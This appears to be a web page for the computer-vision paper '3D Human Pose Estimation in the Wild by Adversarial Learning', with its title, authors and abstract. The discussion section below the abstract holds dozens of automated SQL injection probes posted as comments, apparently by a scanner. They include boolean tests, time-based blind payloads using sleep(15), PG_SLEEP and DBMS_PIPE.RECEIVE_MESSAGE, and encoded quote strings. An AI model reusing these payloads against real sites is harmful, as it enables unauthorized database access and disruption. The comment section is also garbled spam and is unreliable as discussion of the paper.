3D Human Pose Estimation in the Wild by Adversarial Learning
Wei Yang, Wanli Ouyang, Xiaolong Wang, Jimmy Ren, Hongsheng Li, Xiaogang Wang
Recently, remarkable advances have been achieved in 3D human pose estimation from monocular images because of the powerful Deep Convolutional Neural Networks (DCNNs). Despite their success on large-scale datasets collected in the constrained lab environment, it is difficult to obtain the 3D pose annotations for in-the-wild images. Therefore, 3D human pose estimation in the wild is still a challenge. In this paper, we propose an adversarial learning framework, which distills the 3D human pose structures learned from the fully annotated dataset to in-the-wild images with only 2D pose annotations. Instead of defining hard-coded rules to constrain the pose estimation results, we design a novel multi-source discriminator to distinguish the predicted 3D poses from the ground truth, which helps to enforce the pose estimator to generate anthropometrically valid poses even with images in the wild. We also observe that a carefully designed information source for the discriminator is essential to boost the performance. Thus, we design a geometric descriptor, which computes the pairwise relative locations and distances between body joints, as a new information source for the discriminator. The efficacy of our adversarial learning framework with the new geometric descriptor have been demonstrated through extensive experiments on two widely used public benchmarks. Our approach significantly improves the performance compared with previous state-of-the-art approaches.
Discussion
-
-1 OR 2+946-946-1=0+0+0+1 --zFPWdwPk reply to zFPWdwPk-1 OR 2+959-959-1=0+0+0+1 --2025-10-01 01:28zFPWdwPk reply to zFPWdwPk-1 OR 2+308-308-1=0+0+0+12025-10-01 01:28zFPWdwPk reply to zFPWdwPk-1' OR 2+286-286-1=0+0+0+1 or 'vKj7yeG7'='2025-10-01 01:28zFPWdwPk reply to zFPWdwPk-1" OR 2+817-817-1=0+0+0+1 --2025-10-01 01:29zFPWdwPk reply to zFPWdwPkif(now()=sysdate(),sleep(15),0)2025-10-01 01:29zFPWdwPk reply to zFPWdwPk0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 01:29zFPWdwPk reply to zFPWdwPk0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 01:29zFPWdwPk reply to zFPWdwPk-5 OR 129=(SELECT 129 FROM PG_SLEEP(15))--2025-10-01 01:29zFPWdwPk reply to zFPWdwPk-5) OR 902=(SELECT 902 FROM PG_SLEEP(15))--2025-10-01 01:29zFPWdwPk reply to zFPWdwPk-1)) OR 957=(SELECT 957 FROM PG_SLEEP(15))--2025-10-01 01:29zFPWdwPk reply to zFPWdwPk555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 01:29zFPWdwPk reply to zFPWdwPk555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 01:29zFPWdwPk reply to zFPWdwPk1 À§À¢%2527%25222025-10-01 01:29reply to-1 OR 2+628-628-1=0+0+0+1 --2025-10-01 01:56reply to-1 OR 2+630-630-1=0+0+0+12025-10-01 01:56reply to-1' OR 2+542-542-1=0+0+0+1 or 'zbmAQgY0'='2025-10-01 01:56reply to-1" OR 2+32-32-1=0+0+0+1 --2025-10-01 01:56reply toif(now()=sysdate(),sleep(15),0)2025-10-01 01:56reply to0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 01:56reply to0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 01:56reply to-5 OR 289=(SELECT 289 FROM PG_SLEEP(15))--2025-10-01 01:56reply to-5) OR 940=(SELECT 940 FROM PG_SLEEP(15))--2025-10-01 01:56reply to-1)) OR 974=(SELECT 974 FROM PG_SLEEP(15))--2025-10-01 01:56reply to1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 01:57reply to1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 01:57reply to1 ����%2527%25222025-10-01 01:57reply to@@rMP4C2025-10-01 01:57 -
-1 OR 2+496-496-1=0+0+0+1reply to-1 OR 2+936-936-1=0+0+0+1 --2025-10-01 01:55reply to-1 OR 2+319-319-1=0+0+0+12025-10-01 01:56reply to-1' OR 2+503-503-1=0+0+0+1 or '5cGXR6Qf'='2025-10-01 01:56reply to-1" OR 2+301-301-1=0+0+0+1 --2025-10-01 01:56reply toif(now()=sysdate(),sleep(15),0)2025-10-01 01:56reply to0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 01:56reply to0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 01:56reply to-5 OR 163=(SELECT 163 FROM PG_SLEEP(15))--2025-10-01 01:56reply to-5) OR 301=(SELECT 301 FROM PG_SLEEP(15))--2025-10-01 01:56reply to-1)) OR 159=(SELECT 159 FROM PG_SLEEP(15))--2025-10-01 01:56reply to1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 01:56reply to1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 01:56reply to1 ����%2527%25222025-10-01 01:56reply to@@xOCym2025-10-01 01:56 -
-1' OR 2+133-133-1=0+0+0+1 or 'kItJilis'='reply to-1 OR 2+720-720-1=0+0+0+1 --2025-10-01 01:56reply to-1 OR 2+936-936-1=0+0+0+12025-10-01 01:56reply to-1' OR 2+480-480-1=0+0+0+1 or 'UqroBO8V'='2025-10-01 01:56reply to-1" OR 2+355-355-1=0+0+0+1 --2025-10-01 01:56reply toif(now()=sysdate(),sleep(15),0)2025-10-01 01:56reply to0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z2025-10-01 01:56reply to0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z2025-10-01 01:56reply to-5 OR 214=(SELECT 214 FROM PG_SLEEP(15))--2025-10-01 01:56reply to-5) OR 296=(SELECT 296 FROM PG_SLEEP(15))--2025-10-01 01:56reply to-1)) OR 469=(SELECT 469 FROM PG_SLEEP(15))--2025-10-01 01:56reply to1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)2025-10-01 01:57reply to1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'2025-10-01 01:57reply to1 ����%2527%25222025-10-01 01:57reply to@@b6JPg2025-10-01 01:57 -
-1" OR 2+395-395-1=0+0+0+1 -- -
if(now()=sysdate(),sleep(15),0) -
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z -
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z -
-5 OR 788=(SELECT 788 FROM PG_SLEEP(15))-- -
-5) OR 241=(SELECT 241 FROM PG_SLEEP(15))-- -
-1)) OR 495=(SELECT 495 FROM PG_SLEEP(15))-- -
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) -
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' -
1 ����%2527%2522



Reply